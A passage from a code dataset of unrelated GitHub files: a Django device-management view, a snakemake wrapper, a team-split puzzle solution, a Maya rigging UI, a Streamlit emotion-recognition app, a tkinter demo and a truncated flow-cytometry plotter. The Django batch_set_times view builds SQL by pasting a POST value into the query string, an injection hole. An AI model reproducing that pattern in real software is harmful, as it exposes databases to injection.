from {} where equ_type = %s \".format(table_name), [equ_type])\n # 构造一个一体机存储对象\n cur_time = common_tools.now()\n entity = {'mac': mac, 'equ_type': equ_type, 'app_version': app_version,\n 'alias_name': 'ytj', 'equ_name': '一体机', 'create_time': cur_time, 'last_online': cur_time}\n return _save(entity) # 调用通用的保存方法\n\n\n# 通过配置项id查询一条数据\ndef by_id(request):\n id = request.GET.get('id')\n entity = db_tools.find_dict_by_id(table_name, id)\n return common_tools.re_ok({'entity': entity})\n\n\n# 保存(新增/修改)\n@csrf_exempt # 注解解决post请求500\ndef save(request):\n entity_str = request.POST.get('entity')\n entity = json.loads(entity_str) # json转换为dict\n return _save(entity) # 调用通用的保存方法\n\n\n# 终端设备绑定的保存方法\ndef _save(entity):\n update_flag = True if 'id' in entity and entity['id'] else False\n mac = entity.get('mac')\n if not mac:\n return common_tools.re_error('mac地址不能为空!')\n # 判断是否有mac地址冲突\n param_strs = {\n 'mac': mac,\n 'idNot': entity['id'] if update_flag else ''\n }\n sql_paras = [] # 注入的sql参数\n sql_from_where = init_from_where_sql(param_strs, sql_paras)\n exists_num = db_tools.find_count_by_fw_sql(sql_from_where, sql_paras)\n if exists_num:\n return common_tools.re_error('mac地址已存在!')\n # 判断是否有别名冲突\n alias_name = entity.get('alias_name')\n if alias_name:\n # 判断别名是否冲突\n param_strs = {\n 'aliasName': alias_name,\n 'idNot': entity['id'] if update_flag else ''\n }\n sql_paras = [] # 注入的sql参数\n sql_from_where = init_from_where_sql(param_strs, sql_paras)\n exists_num = db_tools.find_count_by_fw_sql(sql_from_where, sql_paras)\n if exists_num:\n return common_tools.re_error('终端别名冲突!')\n else:\n entity['alias_name'] = ''\n if update_flag:\n db_tools.upd_dict_to_db(table_name, entity)\n del_equ_cache(mac) # 删除缓存\n else:\n entity['create_time'] = common_tools.now() # 绑定时间\n db_tools.ins_dict_to_db(table_name, entity)\n return common_tools.re_ok()\n\n\n# 删除\n@csrf_exempt\ndef delete(request):\n id = request.POST.get('id')\n if not id:\n return common_tools.re_error('请选择要删除的数据!')\n obj = Terminal_Equ.objects.filter(id=id).first()\n del_equ_cache(obj.mac) # 删除缓存\n obj.delete() # 删除数据库数据\n return common_tools.re_ok()\n\n\n# 删除缓存\ndef del_equ_cache(mac):\n if mac in cache_equs:\n del cache_equs[mac]\n\n\n# 批量设置开关及时间\n@csrf_exempt\ndef batch_set_times(request):\n weekup_time = request.POST.get('weekup_time')\n close_time = request.POST.get('close_time')\n ids = request.POST.get('ids')\n if not ids:\n return common_tools.re_error('请选择批量的终端设备!')\n ids = \" '\" + ids.replace(\",\", \"','\") + \"' \"\n db_tools.update_one_sql(\"update {} set weekup_time = %s, close_time = %s where id in({}) \".format(table_name, ids),\n [weekup_time if weekup_time else '', close_time if close_time else ''])\n cache_equs.clear() # 清除所有缓存\n return common_tools.re_ok()\n\n\n# 获取所有在线的画屏列表\ndef my_online_ps(request):\n onlinePs = []\n if len(hp_sessions):\n for (k, v) in hp_sessions.items():\n onlinePs.append(v['mac'])\n return common_tools.re_ok({'onlinePs': onlinePs})\n\n\n# 通过mac和设备类型, 查询一个终端设备对象(存放缓存中)\ndef init_equ_by_mac(mac):\n if mac in cache_equs:\n return cache_equs.get(mac, {})\n # 尝试在数据库中查询\n equ = db_tools.find_obj_by_sql('select * from {} where mac = %s '.format(table_name), [mac])\n if equ:\n cache_equs.update({mac: equ})\n return equ\n return {}\n","repo_name":"lovederh/magicbox","sub_path":"base/appview/terminal_equ_view.py","file_name":"terminal_equ_view.py","file_ext":"py","file_size_in_byte":7310,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74943150013","text":"__author__ = \"Johannes Köster\"\n__copyright__ = \"Copyright 2016, Johannes Köster\"\n__email__ = \"koester@jimmy.harvard.edu\"\n__license__ = \"MIT\"\n\n\nfrom snakemake.shell import shell\n\n\nshell(\n \"picard AddOrReplaceReadGroups {snakemake.params} I={snakemake.input} \"\n \"O={snakemake.output} &> {snakemake.log}\"\n)\n","repo_name":"ccmbioinfo/crg2","sub_path":"wrappers/picard/addorreplacereadgroups/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"518669014","text":"import sys, math\n\n\n\"\"\"\nDesc: Calculates difference of ability points between two teams\n\nParameters\npeople_num: Number of total people that is divided between teams\ncheck_list: Contains a list of integers for a single team\ninput_arr: Contains an array of integers with ability points between people\n\"\"\"\n\n\ndef check_points(people_num: int, check_list: list, input_arr: list) -> int:\n # Make a list of integers for the other team\n other_list = [temp_index for temp_index in range(people_num) if temp_index not in check_list]\n # Number that is returned as output\n output_num = 0\n # Iterate through the whole list\n for first_index in range(people_num // 2 - 1):\n for second_index in range(first_index + 1, people_num // 2):\n # Calculate an iteration for the inputted team\n first_point = input_arr[check_list[first_index]][check_list[second_index]]\n first_point += input_arr[check_list[second_index]][check_list[first_index]]\n # Calculate an iteration for the other team\n second_point = input_arr[other_list[first_index]][other_list[second_index]]\n second_point += input_arr[other_list[second_index]][other_list[first_index]]\n # Get the difference between iteration points\n output_num += first_point - second_point\n # Return the difference between both teams\n return abs(output_num)\n\n\n\"\"\"\nDesc: Divides teams for a certain number of people then calls check_points function.\n Minimal output is saved and returned.\n\nParameters\npeople_num: Number of total people that is divided between teams\nnext_int: Starts next iteration from this number\ncheck_list: Contains a list of integers for a single team\ninput_arr: Contains an array of integers with ability points between people\n\"\"\"\n\n\ndef repeat_arr(people_num: int, next_int: int, check_list: list, input_arr: list) -> int:\n # If the team is divided already\n if len(check_list) == people_num // 2:\n # Call function to calculate ability difference between two teams\n return check_points(people_num, check_list, input_arr)\n # Save minimum output as variable\n min_output = math.inf\n # Iterate through the list starting at next_int\n for temp_num in range(next_int, people_num - people_num // 2 + len(check_list) + 1):\n # Update team list\n check_list.append(temp_num)\n # Iterate till team is divided\n min_output = min(repeat_arr(people_num, temp_num + 1, check_list, input_arr), min_output)\n # Pop last teammate\n check_list.pop()\n # Return smallest difference\n return min_output\n\n\npeople_num = int(sys.stdin.readline().rstrip())\ninput_arr = [list(map(int, sys.stdin.readline().rstrip().split(sep=' '))) for _ in range(people_num)]\n\n\nprint(repeat_arr(people_num, 0, [], input_arr))","repo_name":"junhyuk1229/baekjoon-python","sub_path":"Problem solutions/14889.py","file_name":"14889.py","file_ext":"py","file_size_in_byte":2818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28502034169","text":"'''\nui.py\nCreated: Monday, 19th September 2022 9:02:34 am\nMatthew Riche\nLast Modified: Tuesday, 22nd November 2022 2:34:58 pm\nModified By: Matthew Riche\n'''\n\nimport maya.OpenMayaUI as omui\nimport maya.cmds as cmds\nimport sys\nimport os\nfrom PySide2 import QtCore, QtWidgets as qtw, QtGui, QtUiTools\nfrom shiboken2 import wrapInstance\n\nfrom . import globals\nfrom . import file_ops as fo\nfrom . import controls as ctl\nfrom . import build as bld\nfrom . import nodework as nw\n\ndef maya_main_window():\n main_window_ptr = omui.MQtUtil.mainWindow()\n return wrapInstance(int(main_window_ptr), qtw.QWidget)\n\n\nclass Rigid_ui(qtw.QDialog):\n def __init__(self, parent = maya_main_window()):\n super(Rigid_ui, self).__init__(parent)\n\n self.setWindowTitle(\"Rigid v{}\".format(globals.RIGID_VERSION))\n\n self.setWindowFlags(self.windowFlags() ^ QtCore.Qt.WindowContextHelpButtonHint)\n\n self._init_ui()\n self._populate_and_edit_widgets()\n self._create_connections()\n\n # init the load path.\n mod_path = os.path.abspath(__file__)\n parent_path = os.path.dirname(mod_path)\n self.ctrls_path = (\"{}/control_shapes/\".format(parent_path))\n\n\n # This UI will own a piece of controller data of it's own, for controller shape edits.\n self.ui_ctl_data = ctl.CurveData()\n self.show()\n\n return\n\n def _refresh(self):\n\n # Update the current curve:\n pass\n\n\n def _init_ui(self):\n \"\"\"The UI class for the main window-- connects to .ui content and arranges for it's\n connection and instantiation.\n \"\"\" \n\n mod_path = os.path.abspath(__file__)\n parent_path = os.path.dirname(mod_path)\n print(\"Rigid path is \\\"{}\\\"\".format(parent_path))\n\n ui_file = QtCore.QFile(\"{}/uis/rigid_main.ui\".format(parent_path))\n ui_file.open(QtCore.QFile.ReadOnly)\n\n loader = QtUiTools.QUiLoader()\n self.ui = loader.load(ui_file, parentWidget=self)\n\n self.vis_copydata_button = self.findChild(qtw.QPushButton, \"copy_data_button\")\n self.vis_buildorigin_button = self.findChild(qtw.QPushButton, \"build_button\")\n self.vis_make_at_match_button = self.findChild(qtw.QPushButton, \"build_match_button\")\n self.vis_replace_button = self.findChild(qtw.QPushButton, \"replace_sel_button\")\n self.vis_load_curvedata = self.findChild(qtw.QPushButton, \"load_data_button\")\n self.vis_save_curvedata = self.findChild(qtw.QPushButton, \"save_data_button\")\n self.vis_mirrorx_button = self.findChild(qtw.QPushButton, \"mirror_x_button\")\n self.vis_mirrory_button = self.findChild(qtw.QPushButton, \"mirror_y_button\")\n self.vis_mirrorz_button = self.findChild(qtw.QPushButton, \"mirror_z_button\")\n self.bld_fastfk_button = self.findChild(qtw.QPushButton, \"fast_fk_button\")\n self.bld_ribbon_joints_button = self.findChild(qtw.QPushButton, \"ribbon_joints_button\")\n\n # First row of colour buttons:\n self.colour_button_00 = self.findChild(qtw.QPushButton, \"basicNavyButton\")\n self.colour_button_01 = self.findChild(qtw.QPushButton, \"blackButton\")\n self.colour_button_02 = self.findChild(qtw.QPushButton, \"coalGrayButton\")\n self.colour_button_03 = self.findChild(qtw.QPushButton, \"lightGrayButton\")\n self.colour_button_04 = self.findChild(qtw.QPushButton, \"darkRedButton\")\n self.colour_button_05 = self.findChild(qtw.QPushButton, \"navyBlueButton\")\n self.colour_button_06 = self.findChild(qtw.QPushButton, \"electricBlueButton\")\n self.colour_button_07 = self.findChild(qtw.QPushButton, \"forestGreenButton\")\n self.colour_button_08 = self.findChild(qtw.QPushButton, \"darkPurpleButton\")\n self.colour_button_09 = self.findChild(qtw.QPushButton, \"lightPurpleButton\")\n self.colour_button_10 = self.findChild(qtw.QPushButton, \"darkBrownButton\")\n self.colour_button_11 = self.findChild(qtw.QPushButton, \"earthBrownButton\")\n self.colour_button_12 = self.findChild(qtw.QPushButton, \"rustRedButton\")\n self.colour_button_13 = self.findChild(qtw.QPushButton, \"brightRedButton\")\n self.colour_button_14 = self.findChild(qtw.QPushButton, \"brightGreenButton\")\n self.colour_button_15 = self.findChild(qtw.QPushButton, \"palerBlueButton\")\n \n self.colour_button_16 = self.findChild(qtw.QPushButton, \"whiteButton\")\n self.colour_button_17 = self.findChild(qtw.QPushButton, \"yellowButton\")\n self.colour_button_18 = self.findChild(qtw.QPushButton, \"cyanButton\")\n self.colour_button_19 = self.findChild(qtw.QPushButton, \"seafoamButton\")\n self.colour_button_20 = self.findChild(qtw.QPushButton, \"salmonButton\")\n self.colour_button_21 = self.findChild(qtw.QPushButton, \"orangeButton\")\n self.colour_button_22 = self.findChild(qtw.QPushButton, \"bananaButton\")\n self.colour_button_23 = self.findChild(qtw.QPushButton, \"chartrueseButton\")\n self.colour_button_24 = self.findChild(qtw.QPushButton, \"darkOrangeButton\")\n self.colour_button_25 = self.findChild(qtw.QPushButton, \"fadedGreenButton\")\n self.colour_button_26 = self.findChild(qtw.QPushButton, \"sneakyGreenButton\")\n self.colour_button_27 = self.findChild(qtw.QPushButton, \"paleGreenButton\")\n self.colour_button_28 = self.findChild(qtw.QPushButton, \"darkCyanButton\")\n self.colour_button_29 = self.findChild(qtw.QPushButton, \"paleBlueButton\")\n self.colour_button_30 = self.findChild(qtw.QPushButton, \"deepPurpleButton\")\n self.colour_button_31 = self.findChild(qtw.QPushButton, \"purpleButton\")\n\n self.curvedata_label = self.findChild(qtw.QLabel, \"cur_data_label\")\n\n return\n\n def _populate_and_edit_widgets(self):\n '''\n Upon instantiation, some widgets need population based on file content, and some text will\n represent non-static info.\n '''\n pass\n\n def _create_connections(self):\n\n self.vis_copydata_button.clicked.connect(self._vis_copy_data)\n self.vis_buildorigin_button.clicked.connect(self._vis_build_origin)\n self.vis_make_at_match_button.clicked.connect(self._vis_build_match)\n self.vis_replace_button.clicked.connect(self._vis_replace_sel)\n self.vis_load_curvedata.clicked.connect(self._vis_load_data)\n self.vis_save_curvedata.clicked.connect(self._vis_save_data)\n self.bld_fastfk_button.clicked.connect(self._bld_fast_fk)\n self.bld_ribbon_joints_button.clicked.connect(self._bld_ribbon_joints)\n\n self.vis_mirrorx_button.clicked.connect(lambda: self._vis_mirror_ctrl(axis='x'))\n self.vis_mirrory_button.clicked.connect(lambda: self._vis_mirror_ctrl(axis='y'))\n self.vis_mirrorz_button.clicked.connect(lambda: self._vis_mirror_ctrl(axis='z'))\n\n self.colour_button_00.clicked.connect(lambda: self._recolor(0))\n self.colour_button_01.clicked.connect(lambda: self._recolor(1))\n self.colour_button_02.clicked.connect(lambda: self._recolor(2))\n self.colour_button_03.clicked.connect(lambda: self._recolor(3))\n self.colour_button_04.clicked.connect(lambda: self._recolor(4))\n self.colour_button_05.clicked.connect(lambda: self._recolor(5))\n self.colour_button_06.clicked.connect(lambda: self._recolor(6))\n self.colour_button_07.clicked.connect(lambda: self._recolor(7))\n self.colour_button_08.clicked.connect(lambda: self._recolor(8))\n self.colour_button_09.clicked.connect(lambda: self._recolor(9))\n self.colour_button_10.clicked.connect(lambda: self._recolor(10))\n self.colour_button_11.clicked.connect(lambda: self._recolor(11))\n self.colour_button_12.clicked.connect(lambda: self._recolor(12))\n self.colour_button_13.clicked.connect(lambda: self._recolor(13))\n self.colour_button_14.clicked.connect(lambda: self._recolor(14))\n self.colour_button_15.clicked.connect(lambda: self._recolor(15))\n\n self.colour_button_16.clicked.connect(lambda: self._recolor(16))\n self.colour_button_17.clicked.connect(lambda: self._recolor(17))\n self.colour_button_18.clicked.connect(lambda: self._recolor(18))\n self.colour_button_19.clicked.connect(lambda: self._recolor(19))\n self.colour_button_20.clicked.connect(lambda: self._recolor(20))\n self.colour_button_21.clicked.connect(lambda: self._recolor(21))\n self.colour_button_22.clicked.connect(lambda: self._recolor(22))\n self.colour_button_23.clicked.connect(lambda: self._recolor(23))\n self.colour_button_24.clicked.connect(lambda: self._recolor(24))\n self.colour_button_25.clicked.connect(lambda: self._recolor(25))\n self.colour_button_26.clicked.connect(lambda: self._recolor(26))\n self.colour_button_27.clicked.connect(lambda: self._recolor(27))\n self.colour_button_28.clicked.connect(lambda: self._recolor(28))\n self.colour_button_29.clicked.connect(lambda: self._recolor(29))\n self.colour_button_30.clicked.connect(lambda: self._recolor(30))\n self.colour_button_31.clicked.connect(lambda: self._recolor(31))\n\n\n def _recolor(self, index):\n \n selections = cmds.ls(sl=True)\n # Find a shape node if there is one:\n for node in selections:\n try:\n shape = nw.get_shape(node)[0]\n except TypeError:\n shape = node\n\n cmds.setAttr(shape + '.overrideEnabled', 1)\n cmds.setAttr(shape + '.overrideColor', index) \n print(\"New colour index {}\".format(index)) \n\n\n def _vis_copy_data(self):\n \"\"\"Trigged by copy data from the UI-- copies selected curve into workable data.\n \"\"\" \n \n if(len(cmds.ls(sl=True)) == 0):\n cmds.inViewMessage(amg='<hl>Must select a nurbsCurve.</hl>', pos='midCenter', fade=True)\n\n try:\n self.ui_ctl_data.capture_curve(sel=True)\n print(\"self curve data is {}\".format(self.ui_ctl_data.curve_shape))\n except TypeError:\n cmds.inViewMessage(amg=\"<hl>Must be a nurbsCurve.</hl>\", pos='midCenter', fade=True)\n \n self.curvedata_label.setText(\"copied\\n{}\".format(self.ui_ctl_data.curve_shape))\n\n def _vis_build_origin(self):\n \"\"\"UI wrapper for the curveData.build() method.\n \"\"\" \n self.ui_ctl_data.build()\n\n def _vis_build_match(self):\n\n sel = cmds.ls(sl=True)\n if(sel):\n if(cmds.objectType(sel[0]) not in ['transform', 'joint']):\n cmds.inViewMessage(amg=\"<hl>Can't match to a non-transform!</hl>\", pos='midCenter',\n fade=True)\n return\n self.ui_ctl_data.build()\n new_null = cmds.group(self.ui_ctl_data.curve_node)\n token = sel[0].rpartition('_')[0]\n cmds.matchTransform(new_null, sel[0])\n cmds.rename(new_null, '{}_null'.format(token))\n cmds.rename(self.ui_ctl_data.curve_node, '{}_ctrl'.format(token))\n else:\n cmds.inViewMessage(amg=\"<hl>Must make a selection</hl>\")\n\n def _vis_replace_sel(self):\n \"\"\"UI wrapper for the curveData.replace() method.\n \"\"\" \n self.ui_ctl_data.replace()\n\n def _vis_load_data(self):\n \"\"\"Opens a filedialog browser, and reads the JSON data selected into the curveData.\n \"\"\" \n load_path = self._browse(title='Load JSON Curve Data', save=False, dir=self.ctrls_path)\n data_dict = fo.read_from_file(load_path)\n print(\"Loaded data contents:\\n{}\".format(data_dict))\n try:\n self.ui_ctl_data.from_dict(data_dict)\n except TypeError:\n print(\"Loaded empty data!\")\n except ValueError:\n print(\"Loaded empty data!\")\n\n def _vis_save_data(self):\n \"\"\"Opens a filedialog browser, and saves the captured curve data as JSON.\n \"\"\" \n\n try:\n data_dict = self.ui_ctl_data.as_dict()\n except (ValueError, TypeError):\n if(len(cmds.ls(sl=True)) == 1):\n self.ui_ctl_data.capture_curve(sel=True)\n data_dict = self.ui_ctl_data.as_dict()\n else:\n cmds.inViewMessage(amg=\"<hl>Capture curve data or select a viable curve.</hl>\", \n pos='midCenter', fade=True)\n return\n\n save_path = self._browse(title='Save Curve Data as JSON', save=True, dir=self.ctrls_path)\n fo.dump_to_file(data_dict, save_path)\n\n def _vis_mirror_ctrl(self, axis):\n \"\"\"Invoke the mirror function of self.ui_ctrl_data from a button.\n Args:\n axis (str ['x', 'y', 'z']): Which axis to mirror on.\n \"\"\" \n self.ui_ctl_data.mirror(axis=axis)\n old_text = self.curvedata_label.text()\n new_text = old_text + (\"\\nMirrored on {}\".format(axis))\n self.curvedata_label.setText(new_text)\n\n\n def _bld_fast_fk(self):\n \"\"\"Invoke the SimpleFK build.\n \"\"\" \n\n #TODO The UI should hold onto the idiom data for records.\n bld.SimpleFK()\n\n def _bld_ribbon_joints(self):\n \"\"\"Invoke the ribbon joints build.\n \"\"\" \n\n bld.RibbonJoints()\n\n def _browse(self, title='Open Maya File', save=True, dir=''):\n \"\"\"Wraps the opening of a file browser window.\n \n Args:\n title (str, optional): Dialog title text. Defaults to 'Open Maya File'.\n save (bool, optional): Bool; True=Save mode, False=Load. Defaults to True.\n dir (str, optional): Default directory. Defaults to ''.\n\n Returns:\n str: Path to specified file.\n \"\"\" \n\n if(save):\n fname = qtw.QFileDialog.getSaveFileName(\n self, title, dir, \"Curve Data (*.json)\")[0]\n else:\n fname = qtw.QFileDialog.getOpenFileName(\n self, title, dir, \"Curve Data (*.json)\")[0]\n if(fname):\n return fname","repo_name":"retsyn/rigid3","sub_path":"ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":14032,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71914865532","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 14 06:31:12 2021\n\n@author: sacho\n\ninspired by\nhttps://youtu.be/Q1NC3NbmVlc\n\"\"\"\n\n####IMPORT MODULES\nimport streamlit as st\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nimport PIL\nimport tensorflow as tf\nimport cv2\nimport dlib\nimport PIL\nfrom PIL import Image, ImageOps\nimport os\nimport base64\nimport imutils\nfrom imutils import face_utils\nimport argparse\nimport base64\nimport pathlib\nfrom PIL import ImageFont, ImageDraw\n\nfrom keras import metrics\nfrom keras.metrics import categorical_accuracy\nfrom keras import models\nfrom keras import layers\nfrom keras import optimizers\nfrom keras.utils import to_categorical\nimport h5py\nfrom keras.models import load_model\n\n\n#writefile app.py\n####################################################################################\n### Some functions needed for face dection and inputs\ndef rect_to_bb(rect):\n\t# take a bounding predicted by dlib and convert it\n\t# to the format (x, y, w, h) as we would normally do\n\t# with OpenCV\n\tx = rect.left()\n\ty = rect.top()\n\tw = rect.right() - x\n\th = rect.bottom() - y\n\t# return a tuple of (x, y, w, h)\n\treturn (x, y, w, h)\n\n\ndef shape_to_np(shape, dtype=\"int\"):\n\t# initialize the list of (x, y)-coordinates\n\tcoords = np.zeros((68, 2), dtype=dtype)\n\t# loop over the 68 facial landmarks and convert them\n\t# to a 2-tuple of (x, y)-coordinates\n\tfor i in range(0, 68):\n\t\tcoords[i] = (shape.part(i).x, shape.part(i).y)\n\t# return the list of (x, y)-coordinates\n\treturn coords\n\n\ndef create_image(liste):\n img = np.zeros((48,48),dtype = 'uint8')\n liste = liste[17:]\n for point in liste:\n x = point[0]\n y = point[1]\n if x < 0:\n x = 0\n if x > 47 :\n x= 47\n if y >47 :\n y = 47\n if y <0:\n y=0\n img[y][x] = 1\n #plt.imshow(img, cpam =\"gray\")\n imList = img.reshape(48*48)\n #print(imList)\n return imList\n\n##################################################################################\n#Streamlit application build\n#\n#inspired by https://youtu.be/Q1NC3NbmVlc \n###################################################################################\n\nst.set_option('deprecation.showfileUploaderEncoding',False)\n@st.cache(allow_output_mutation=True)\ndef load_models():\n model = load_model(r\"test_3_1601_50epoch.h5\")\n return model\n\n\nbanner = Image.open(r\"banner.JPG\")\nst.image(banner,use_column_width = True)\n\nst.markdown(\"\"\" \n ***\n ### **Welcome to our application**\\n\n This application has been created by `Camille Benoit` and `Alexandra Giraud` \\n\n Facial emotion recognition can have multiple useful applications\\n\n We try to implement it in order to improve road safety\n ***\n \"\"\"\n )\nst.write(\"\"\" \n **Please select an image of a person with a face well visible** \\n\n Our app will give you the probable emotion that the person is feeling\\n\n On the basis of 6 different emotions : `hapiness`, `sadness`, `suprise`, `fear`, `anger` and `neutral` \\n\n Have **fun**\n \"\"\"\n )\nmain_bg = r\"background2.jpg\"\nmain_bg_ext = \"jpg\"\n\nside_bg = r\"neuralN.jpg\"\nside_bg_ext = \"jpg\"\n\nst.markdown(\n f\"\"\"\n <style>\n .reportview-container {{\n background: url(data:image/{main_bg_ext};base64,{base64.b64encode(open(main_bg, \"rb\").read()).decode()})\n }}\n .sidebar .sidebar-content {{\n background: url(data:image/{side_bg_ext};base64,{base64.b64encode(open(side_bg, \"rb\").read()).decode()})\n }}\n </style>\n \"\"\",\n unsafe_allow_html=True\n)\n\n################################\n\n\nfile = st.file_uploader(\"Please uplad an image of a face\", type = ['jpg','png'])\n\n#this function is just for display/ aesthetic purposes in the webApp\ndef display_image():\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(r\"shape_predictor_68_face_landmarks.dat\")\n shape = None\n image_file = Image.open(file)\n #image = cv2.imread(file)\n image = np.array(image_file)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 1)\n # loop over the face detections\n for (i, rect) in enumerate(rects):\n shape = predictor(gray, rect)\n shape = shape_to_np(shape)\n x, y, w, h = rect_to_bb(rect)\n cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # show the face number\n cv2.putText(image, 'Emotion Recognition in progess', (x - 10, y - 10),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)\n for (x, y) in shape:\n cv2.circle(image, (x, y), 1, (0, 0, 255), -1)\n #face_crop = image[(y-h):(y+h+h//2),(x-w):(x+w+w//2)]\n face_crop = image[(y-h):(y+h),(x-w):(x+w)]\n #face_crop = image[(y):(y+h),x:(x+w)]\n #numberpixels = image.size\n #we are going to discrinate wether we are going to display the crop or the entire image \n st.image(face_crop,use_column_width = True)\n\n\ndef display_emotion(texte):\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(r\"shape_predictor_68_face_landmarks.dat\")\n shape = None\n image_file = Image.open(file)\n #image = cv2.imread(file)\n image = np.array(image_file)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 1)\n # loop over the face detections\n for (i, rect) in enumerate(rects):\n shape = predictor(gray, rect)\n shape = shape_to_np(shape)\n x, y, w, h = rect_to_bb(rect)\n cv2.rectangle(image, (x, y), (x + w, y + h), (150, 0, 15), 2)\n # show the face number\n cv2.putText(image, texte, (x, y+25),\n cv2.FONT_HERSHEY_SIMPLEX, 2, (0, 255, 0), 3)\n for (x, y) in shape:\n cv2.circle(image, (x, y), 1, (0, 0, 255), -1)\n face_crop = image[(y-h):(y+h),(x-w):(x+w)]\n st.image(face_crop,use_column_width = True)\n\n\ndef inputforDL():#,model\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(r\"shape_predictor_68_face_landmarks.dat\")\n shape = None\n image_file = Image.open(file)#le file est déjà présent dans le bail\n image = np.array(image_file)\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n rects = detector(gray, 1)\n # loop over the face detections\n for (i, rect) in enumerate(rects):\n x, y, w, h = rect_to_bb(rect)\n #we have detected the face now we crop the image around it \n #we create a temporary image with only the face, open it \n #and then resize and redetect the landmarks \n gray_crop = gray[y:y+h,x:x+w]\n cv2.imwrite(r\"temp.jpg\",gray_crop)\n cropped_file = Image.open(r\"temp.jpg\")\n cropped = cropped_file.resize((48,48),Image.ANTIALIAS)\n cropp = np.array(cropped)\n rects2 = detector(cropp, 1)\n for (j, rect2) in enumerate(rects2):\n shape = predictor(cropp, rect2)\n shape = shape_to_np(shape)\n landmarks = shape\n binary_img = create_image(landmarks)\n inputForDL = np.reshape(binary_img,(1,48,48,1))\n return inputForDL\n\nmapper = {\n 0: \"Anger\",\n 1: \"Neutral\",\n 2: \"Fear\",\n 3: \"Happy\",\n 4: \"Sad\",\n 5: \"Suprise\"\n }\n\ndef main():\n if file is None:\n st.text('Please upload an image')\n else:\n inputt = inputforDL()\n model = load_models()\n predictions = model.predict_classes(inputt,verbose = 0)\n pred_name = mapper[predictions[0]]\n image = Image.open(file)\n st.image(image,use_column_width = True)\n display_image()\n class_names=['neutral','happy','sad','suprised','angry','fear']\n string=\"The emotion most likely displayed in this image is: \" + pred_name\n st.text(string)\n display_emotion(pred_name)\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"Chourik/Projet_FER_deepLearning","sub_path":"webAppFER.py","file_name":"webAppFER.py","file_ext":"py","file_size_in_byte":7843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28027152329","text":"import tkinter as tk\nfrom tkinter import PhotoImage\n\nclass BackgroundFrame(tk.Frame):\n def __init__(self, master=None, bg_image=None, *args, **kwargs):\n super().__init__(master, *args, **kwargs)\n \n bg_image = \"C:/Users/1k8ai/Documents/GitHub/Typing-Game/test/haikeigazou/image_2.png\"\n \n if bg_image:\n self.bg_image = PhotoImage(file=bg_image)\n self.bg_label = tk.Label(self, image=self.bg_image)\n self.bg_label.place(relwidth=1, relheight=1)\n\n# アプリケーションの作成\nroot = tk.Tk()\nroot.title(\"Background Image Example\")\nroot.geometry(\"1280x800\")\n\n# 画像ファイルのパスを指定して、BackgroundFrameを作成\nbackground_image_path = \"\"\nbackground_frame = BackgroundFrame(root, bg_image=background_image_path)\nbackground_frame.pack(fill=\"both\", expand=True)\n\n# 他の要素を追加\nlabel = tk.Label(background_frame, text=\"Hello, Background!\", font=(\"Helvetica\", 24))\nlabel.pack(padx=20, pady=20)\n\n# アプリケーションの開始\nroot.mainloop()","repo_name":"aimlinux/Summer-vacation-2023","sub_path":"test/Tkinter_test/haikeigazou/test_1.py","file_name":"test_1.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"2154065216","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 18 16:58:48 2020\n\n\nVersion 1.1 \n@author: James\n\"\"\"\nfrom microtiter.plate_reader_tools import read_infinateM200_output\nimport flowio\nfrom pandas import DataFrame, concat\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom math import sqrt, ceil\n\ndef getwell(well, folder):\n if len(well)<3:\n well = well[0]+'0'+well[1]\n return folder+'\\\\'+well+'.fcs'\n \ndef getstrain(strain, strain_map):\n S_map = read_infinateM200_output(strain_map)\n S_map = dict(zip(S_map.wells.values(), S_map.wells.keys()))\n return(S_map[strain])\n \ndef getflowdata(strain):\n flowdata = flowio.flowdata.FlowData(getwell(getstrain(strain)))\n columns = list(map(lambda x: x['PnS'], flowdata.channels.values()))\n data = np.reshape(flowdata.events, (-1, flowdata.channel_count))\n return(DataFrame(data=data, columns=columns))\n \n \ndef multistrain(strains, folder, X='FSC-A', Y='FL2-A', xmax=3000000, ymax=30000, dim=None):\n if dim:\n fig, axes = plt.subplots(*dim)\n else:\n dim = [ceil(sqrt(len(strains))), ceil(sqrt(len(strains)))]\n fig, axes = plt.subplots(*dim)\n \n plot_loc = dict()\n for i in range(dim[0]*dim[1]):\n plot_loc[i] = [i//dim[1], i%dim[1]]\n for i, strain in enumerate(strains):\n data = getflowdata(strain, folder)\n\n if len(X.split('/'))>1:\n Xs = X.split('/')\n Xdata = data[Xs[0]]/data[Xs[1]]\n Xdata.name = X\n elif len(X.split('*'))>1:\n Xs = X.split('*')\n Xdata = data[Xs[0]]/data[Xs[1]]\n Xdata.name = X\n else:\n Xdata = data[X]\n \n if len(Y.split('/'))>1:\n Ys = Y.split('/')\n Ydata = data[Ys[0]]/data[Ys[1]]\n Ydata.name = Y\n \n elif len(Y.split('*'))>1:\n Ys = Y.split('/')\n Ydata = data[Ys[0]]/data[Ys[1]]\n Ydata.name = Y\n \n else:\n Ydata = data[Y]\n \n data = concat([Xdata, Ydata], axis='columns')\n\n data = 